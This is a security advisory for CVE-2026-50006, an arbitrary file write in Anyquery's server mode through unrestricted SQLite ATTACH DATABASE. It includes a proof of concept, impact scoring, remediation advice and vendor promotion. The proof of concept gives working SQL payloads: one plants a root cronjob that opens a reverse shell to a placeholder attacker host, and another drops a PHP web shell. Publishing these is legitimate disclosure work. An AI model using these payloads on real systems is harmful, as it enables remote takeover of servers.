Summary
Anyquery: Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode
Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).
Details
When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.
An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.
PoC (Proof of Concept)
Start the server on the victim machine:
anyquery server --host 0.0.0.0 --port 8070Connect from an attacker machine:
mysql -u root -h <VICTIM_IP> -P 8070Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as
/etc/cron.dor/var/spool/cron/crontabs/):ATTACH DATABASE '/etc/cron.d/pwn' AS pwn; CREATE TABLE pwn.task (cmd TEXT); INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:
ATTACH DATABASE '/var/www/html/shell.php' AS pwn; CREATE TABLE pwn.hacked (cmd TEXT); INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');If testing locally as a non-root user, you can verify the vulnerability by writing to
/tmp:ATTACH DATABASE '/tmp/pwn.db' AS pwn; CREATE TABLE pwn.test (cmd TEXT); INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');
Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.
Impact
- Confidentiality: None (from the write action itself, though combined with LFR it becomes High).
- Integrity: High. Arbitrary files can be written or overwritten, which corrupts the filesystem.
- Availability: High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).
- CVSS Score: 9.1 (Critical) -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H- Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-50006 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Disable dangerous SQLite functions (ATTACH DATABASE, DETACH DATABASE, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.
Frequently Asked Questions
- What is CVE-2026-50006? CVE-2026-50006 is a critical-severity path traversal vulnerability in github.com/julien040/anyquery (go), affecting versions < 0.4.5. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-50006? CVE-2026-50006 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/julien040/anyquery are affected by CVE-2026-50006? github.com/julien040/anyquery (go) versions < 0.4.5 is affected.
- Is there a fix for CVE-2026-50006? No fixed version is listed for CVE-2026-50006 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-50006 exploitable, and should I be worried? Whether CVE-2026-50006 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-50006 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-50006? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.